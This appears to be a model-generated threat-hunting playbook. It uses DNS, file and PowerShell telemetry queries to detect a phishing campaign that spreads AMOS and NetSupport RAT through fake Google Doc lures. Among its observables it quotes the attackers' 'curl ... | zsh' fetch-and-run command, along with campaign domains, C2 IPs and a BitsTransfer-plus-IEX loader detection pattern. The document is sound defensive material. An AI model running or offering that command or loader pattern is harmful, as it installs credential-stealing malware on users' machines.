Cross-Platform Malware Execution and Persistence

Source

---
analysis: A single detection rule would miss the cross-platform nature of this campaign;
  this hunt pivots between network delivery leads and OS-specific persistence patterns
  (LaunchDaemons on macOS, BitsTransfer scripts on Windows) to confirm infection across
  two different operating systems.
blind_spots:
- id: dns-visibility-gap
  question: whether the initial lure was clicked on unmanaged or mobile devices
  requires: hb_dns_activity from all endpoints
  risk: The hunt only identifies the lead on hosts where DNS activity is collected.
    If a user clicks the lure on a mobile device and later moves to a corporate machine,
    the initial network lead might be missing.
  stage: execution-user-driven-installers
- id: endpoint-visibility-gap
  question: whether the loader ran on hosts with script block logging disabled
  requires: hb_script_activity and hb_file_activity
  risk: The Windows loader pattern relies on PowerShell script block logging. If disabled,
    the Windows-side detection candidate will return nothing, leaving only the file
    artifacts or DNS as evidence.
  stage: malware-persistence-establishment
coverage:
- stage: execution-user-driven-installers
  status: covered
  steps:
  - lead-dns-activity
  - windows-loader-scripts
- stage: malware-persistence-establishment
  status: covered
  steps:
  - macos-persistence-files
- reason: Covered via searching for the AMOS staging directory /tmp/lksopo.
  stage: credential-collection-and-staging
  status: covered
  steps:
  - macos-persistence-files
- reason: Belongs to another part of the 'Post-DEF CON Phishing Uses Malicious Google
    Doc to Deliver Malware' series.
  stage: initial-access-social-media-phishing
  status: out_of_scope
- reason: Belongs to another part of the 'Post-DEF CON Phishing Uses Malicious Google
    Doc to Deliver Malware' series.
  stage: command-and-control-network
  status: out_of_scope
guardrails:
  claims: no_unsupported
  evidence: citation_required
  missing_data: not_benign
  telemetry: untrusted
hunt:
  applicability: campaign-specific
  handoff: promote-to-detection
  justification: Threat actors targeting security professionals with stealers like
    AMOS pose a critical risk to corporate credentials and session data. A negative
    result confirms that this specific campaign has not established a beachhead in
    the environment.
  methodology: model-assisted
  trigger: intel-report
hypothesis: An intruder has compromised endpoints via a fake Google Doc lure, leading
  to user-driven execution of AMOS or NetSupport RAT loaders followed by persistence
  and credential staging.
labels:
- hunt
- attack.t1204.002
- attack.t1059.004
- attack.t1059.001
- attack.t1543.001
- attack.t1547.001
- attack.t1005
- attack.t1074.001
- attack.t1539
- attack.t1555
name: Cross-Platform Malware Execution and Persistence
parameters:
  campaign_domains:
    default:
    - apple-googleapi.com
    - gapidriver.com
    - 1foqo.lat
    - 2fksf.lat
    - 3pqow.lat
    - gapidriver.com
    description: Domains used in the phishing sidebar for payload delivery.
    from:
      kind: article
      observed: '2026-08-19'
      ref: https://www.huntress.com/blog/defcon-phishing-google-doc-malware
    type: list[domain]
  lookback_days:
    default: '14'
    description: Days of history to examine.
    type: number
  scope_hosts:
    default: []
    description: Optional list of hosts identified in the lead query to scope host-side
      evidence gathering.
    type: list[host]
provenance:
  authors:
  - name: Huntbase hunt generation
    org: huntbase.io
  generated:
    by: huntbase-hunt-generation
    from: https://www.huntress.com/blog/defcon-phishing-google-doc-malware
    gates:
    - dry-run
    - lint
    model: hb_google/gemini-3-flash-preview
rationale: Focus on employees who attended major security conferences (Black Hat,
  DEF CON) in the last month. The lookback should start from the first day of the
  conference through current day.
references:
- name: "Huntress \u2014 Post-DEF CON Phishing Uses Malicious Google Doc to Deliver\
    \ Malware"
  url: https://www.huntress.com/blog/defcon-phishing-google-doc-malware
related:
- hunt: social-media-phishing-lures
  reason: This hunt focuses on host-side malware execution and persistence, not the
    initial social media interaction.
  relation: out-of-scope-alternative
scenario:
  stages:
  - name: Social Media Spearphishing
    observables:
    - '@HartmansDoeke'
    - CoinDesk VP lure
    - Google Doc link
    - Dropbox DocSend share
    slug: initial-access-social-media-phishing
    tactic: initial-access
    techniques:
    - T1566.003
  - name: User-Driven Payload Execution
    observables:
    - DecryptPanel.html
    - curl -fsSL https://apple-googleapi.com/i | zsh
    - GAPIUpdate.dmg
    - GapiUpdate.application
    - https://gapidriver.com/installer/GapiUpdate.application
    - sys.ps1
    slug: execution-user-driven-installers
    tactic: execution
    techniques:
    - T1204.002
    - T1059.004
    - T1059.001
  - name: Persistence and Payload Staging
    observables:
    - /Library/LaunchDaemons/com.xdivcmp.plist
    - '%LOCALAPPDATA%\Microsoft\Windows\UpdateCache'
    - ~/.phost
    - ~/.bhost
    - ~/.botid
    - DockerDesktopSvc.exe
    - SteamClientHelperHost.exe
    - TeraCopyMonMon.exe
    slug: malware-persistence-establishment
    tactic: persistence
    techniques:
    - T1543.001
    - T1547.001
  - name: Data Collection and Staging
    observables:
    - Notes.app database access
    - /tmp/lksopo
    - browser cookies
    - keychain data
    - crypto wallets
    slug: credential-collection-and-staging
    tactic: collection
    techniques:
    - T1005
    - T1074.001
    - T1539
    - T1555
  - name: C2 Infrastructure Communication
    observables:
    - 86.54.25.213
    - 192.253.248.181
    - apple-googleapi.com
    - gapidriver.com
    - 1foqo.lat
    - 2fksf.lat
    - 3pqow.lat
    - res10.php
    - res11.php
    - Telegram API
    slug: command-and-control-network
    tactic: command-and-control
    techniques:
    - T1071.001
    - T1102
  summary: A phishing campaign targeting industry conference attendees uses X direct
    messages to lure victims into opening malicious Google Docs and DocSend shares.
    These documents deploy AMOS on macOS via curl-pipe-zsh or disk images, and NetSupport
    RAT or PowerShell loaders on Windows via ClickOnce installers, ultimately establishing
    persistence through LaunchDaemons and staged binaries for data theft and C2 communication.
series:
  index: 1
  slug: post-def-con-phishing-uses-malicious-google-doc-to-deliver-malware
  title: Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware
  total: 2
severity: high
targets:
  analyst:
    name: Tier-2 analyst
    role: analyst
  endpoint:
    category: endpoint
    name: Endpoint telemetry (hb_ surfaces)
    telemetry:
    - endpoint
  hunter:
    agent: true
    name: Hunt agent
tlp: clear
type: investigation
---


# Cross-Platform Malware Execution and Persistence

This hunt targets a multi-stage phishing campaign identified post-DEF CON 2026. The threat actor uses social media DMs to share a malicious Google Doc with a custom 'DecryptPanel.html' sidebar. This sidebar tricks users into running curl-to-zsh commands on macOS or PowerShell-based ClickOnce installers on Windows.

The hunt begins by identifying network leads to known delivery domains. If a host is identified, it gates to more expensive host-side queries that look for specific AMOS persistence files on macOS and the unique BitsTransfer PowerShell loader pattern on Windows. An agent then synthesizes the evidence to confirm if the host is compromised and should be isolated.

## lead-dns-activity
<!-- DNS lookups to delivery domains -->
Identify hosts that attempted to resolve the delivery or installer domains found in the malicious Google Doc sidebar.

```sqlite target=endpoint role=scoping params=(campaign_domains=campaign_domains, lookback_days=lookback_days)
~~~yaml
expected: Any resolution identifies a host that likely clicked the phishing lure.
  Silence is a strong indicator of no interaction with these specific C2 delivery
  points.
reads:
- device_hostname
- query_hostname
- time
silence: evidence_of_absence
source: hb_dns_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, query_hostname, COUNT(*) as lookup_count, MIN(time) as first_seen, MAX(time) as last_seen FROM hb_dns_activity WHERE instr(',' || '{{campaign_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname
```

## gate-agent
<!-- Evaluate delivery leads -->
```agent target=hunter
cite: required
context:
- lead-dns-activity
max_iterations: 3
objective: Determine if any host in the DNS results warrants host-side investigation
  based on domain matches.
success_criteria: Per-host verdict on whether to proceed to host-level evidence collection.
tools:
- endpoint
```

## gate-decision
<!-- Gate Decision -->
if~: "the gate-agent confirms that at least one host resolved a malicious campaign domain" (confidence: high, judge=hunter)
then: → host-evidence-gathering
indeterminate: → analyst-review
unavailable: → analyst-review (blind_spot: dns-visibility-gap)
else: → close-out

## host-evidence-gathering
<!-- Host Evidence Gathering -->
parallel:
- → macos-persistence-files
- → windows-loader-scripts
join: → triage-agent

## macos-persistence-files
<!-- macOS AMOS persistence and staging -->
Find the specific LaunchDaemon and staging directories associated with AMOS stealer on macOS.

```sqlite target=endpoint role=baseline params=(scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
baseline:
  compare: first_seen
  window: '{{lookback_days}}d'
expected: Rare file creations in /Library/LaunchDaemons or /tmp indicate persistence
  or data staging for the AMOS stealer.
prevalence:
  by: device_hostname
  key:
  - file_path
  rare_below: 3
reads:
- device_hostname
- file_path
- time
silence: not_evidence_of_absence
source: hb_file_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, file_path, COUNT(DISTINCT device_hostname) as hosts, MIN(time) as first_seen FROM hb_file_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (LOWER(file_path) LIKE '%/library/launchdaemons/com.xdivcmp.plist' OR LOWER(file_path) LIKE '%/tmp/lksopo%' OR LOWER(file_path) LIKE '%/.phost' OR LOWER(file_path) LIKE '%/.bhost') AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY file_path HAVING hosts <= 3
```

## windows-loader-scripts
<!-- Windows PowerShell loader patterns -->
Detect the specific ClickFix loader pattern involving BitsTransfer and Invoke-Expression used to deliver Windows payloads.

```sqlite target=endpoint role=detection-candidate params=(scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: Script blocks combining BITS downloads with immediate IEX execution are
  high-fidelity indicators of the loader script identified in the report.
reads:
- device_hostname
- script_content
- script_type
- time
silence: not_evidence_of_absence
source: hb_script_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, script_content, time FROM hb_script_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND script_type = 'PowerShell' AND (LOWER(script_content) LIKE '%bitstransfer%' AND LOWER(script_content) LIKE '%iex%') AND time >= datetime('now', '-{{lookback_days}} days')
```

## triage-agent
<!-- Synthesize delivery and host evidence -->
```agent target=hunter
cite: required
context:
- gate-agent
- macos-persistence-files
- windows-loader-scripts
max_iterations: 6
objective: Determine if the resolved campaign domains correlate with the execution
  of PowerShell loaders on Windows or the creation of AMOS persistence artifacts on
  macOS for any specific host.
success_criteria: A verdict of malicious | suspicious | benign per host citing specific
  rows from the query results.
tools:
- endpoint
```

## route-decision
<!-- Route on verdict -->
if~: "the triage-agent verdict is malicious for at least one host, citing both a network lead and a host-side artifact" (confidence: high, judge=hunter)
then: → isolate-host
indeterminate: → analyst-review
unavailable: → analyst-review (blind_spot: endpoint-visibility-gap)
else: → analyst-review

## isolate-host
<!-- Isolate host -->
```action target=endpoint
~~~yaml
approval: required
~~~
Isolate the endpoint. Collect the contents of /tmp/lksopo (macOS) or the Windows UpdateCache directory for further forensic analysis before proceeding with remediation.
```
→ analyst-review

## analyst-review
<!-- Analyst review -->
```manual target=analyst
Review the DNS and host artifacts. If a browser stealer was executed, ensure all user credentials, especially cryptocurrency keys and session cookies, are rotated immediately.
```
→ end

## close-out
<!-- Close out -->
```manual target=analyst
Record the hosts examined. If no DNS resolution or host-side artifacts were found, record this as evidence of absence for this specific campaign infrastructure.
```
→ end